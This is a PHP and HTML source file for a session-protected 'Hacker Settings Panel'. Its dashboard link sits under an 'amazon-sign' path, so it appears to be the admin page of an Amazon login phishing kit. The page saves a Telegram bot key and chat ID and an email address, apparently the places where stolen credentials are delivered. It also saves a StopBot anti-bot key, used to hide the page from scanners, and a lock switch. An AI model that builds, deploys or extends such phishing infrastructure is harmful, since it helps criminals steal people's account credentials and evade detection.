<?php
session_start();
if (!isset($_SESSION['dibi-ut']) || $_SESSION['dibi-ut'] !== true) {
    http_response_code(403); // Forbidden
    echo json_encode(['error' => 'Unauthorized access']);
    exit();
}

// === API Logic ===
$config_file = __DIR__ . "/setting.json"; // sesuai permintaan

function load_config($file) {
    if (!file_exists($file)) {
        file_put_contents($file, json_encode([
            "telegram_apikey" => "",
            "telegram_chatid" => "",
            "email" => "",
            "stopbot_apikey" => ""
        ], JSON_PRETTY_PRINT));
    }
    $json = file_get_contents($file);
    $data = json_decode($json, true);
    return is_array($data) ? $data : [];
}

function save_config($file, $data) {
    file_put_contents($file, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
}

// Handle API POST (save)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = json_decode(file_get_contents("php://input"), true);
    if (!isset($_SESSION['dibi-ut']) || $_SESSION['dibi-ut'] !== true) {
    http_response_code(403); // Forbidden
    echo json_encode(['error' => 'Unauthorized access']);
    exit();
    }
    if (is_array($input)) {
        $current = load_config($config_file);
        $merged = array_merge($current, $input);
        save_config($config_file, $merged);
        echo json_encode(["status" => "saved", "data" => $merged]);
    } else {
        http_response_code(400);
        echo json_encode(["error" => "Invalid JSON"]);
    }
    exit;
}

// Handle API GET (ajax fetch)
if (isset($_GET['api'])) {
    header("Content-Type: application/json");
    echo json_encode(load_config($config_file));
    exit;
}

$config = load_config($config_file);
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>⚙️ Hacker Settings Panel</title>
  <style>
    body {
      background: #000;
      color: rgb(204, 5, 5);
      font-family: 'Courier New', Courier, monospace;
      padding: 30px;
    }
    h1 {
      text-shadow: 0 0 5px rgb(204, 5, 5);
    }
    .back-btn {
            background: #000;
            color: rgb(204, 5, 5);
            border: 1px solid rgb(204, 5, 5);
            padding: 6px 12px;
            border-radius: 4px;
            cursor: pointer;
            text-shadow: 0 0 2px rgb(204, 5, 5);
    }
    label {
      display: block;
      margin: 20px 0 5px;
      font-weight: bold;
    }
    input[type="text"] {
      background: #111;
      color: rgb(204, 5, 5);
      border: 1px solid rgb(204, 5, 5);
      padding: 8px;
      width: 100%;
      font-family: inherit;
    }
    button {
      margin-top: 20px;
      background: #000;
      color: rgb(204, 5, 5);
      border: 1px solid rgb(204, 5, 5);
      padding: 10px 20px;
      cursor: pointer;
      font-weight: bold;
      text-shadow: 0 0 3px rgb(204, 5, 5);
    }
    button:hover {
      background: rgb(204, 5, 5);
      color: #000;
    }
    .status {
      margin-top: 20px;
      color: rgb(204, 5, 5);
    }
  </style>
</head>
<body>
    
<a href="/emailed/amazon-sign/api/admin/index.php" class="back-btn">← Back to Dashboard</a>
  <h1>🛠️ Hacker Settings</h1>

  <form id="configForm">
    <label>Telegram API Key</label>
    <input type="text" name="telegram_apikey" value="<?= htmlspecialchars($config['telegram_apikey'] ?? '') ?>">

    <label>Telegram Chat ID</label>
    <input type="text" name="telegram_chatid" value="<?= htmlspecialchars($config['telegram_chatid'] ?? '') ?>">

    <label>Email</label>
    <input type="text" name="email" value="<?= htmlspecialchars($config['email'] ?? '') ?>">

    <label>StopBot API Key</label>
    <input type="text" name="stopbot_apikey" value="<?= htmlspecialchars($config['stopbot_apikey'] ?? '') ?>">
    
    <label>true = Locked / false = prime</label>
    <input type="text" name="locked" value="<?= htmlspecialchars($config['locked'] ?? '') ?>">

    <button type="submit">💾 Save Settings</button>
    <div class="status" id="statusMsg"></div>
  </form>

  <script>
    const form = document.getElementById("configForm");
    const statusMsg = document.getElementById("statusMsg");

    form.addEventListener("submit", async function (e) {
      e.preventDefault();
      const formData = new FormData(form);
      const jsonData = {};

      formData.forEach((value, key) => {
        jsonData[key] = value;
      });

      const res = await fetch("", {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify(jsonData)
      });

      const result = await res.json();
      if (result.status === "saved") {
        statusMsg.textContent = "✅ Settings saved successfully!";
      } else {
        statusMsg.textContent = "❌ Failed to save settings.";
      }
    });
  </script>
</body>
</html>
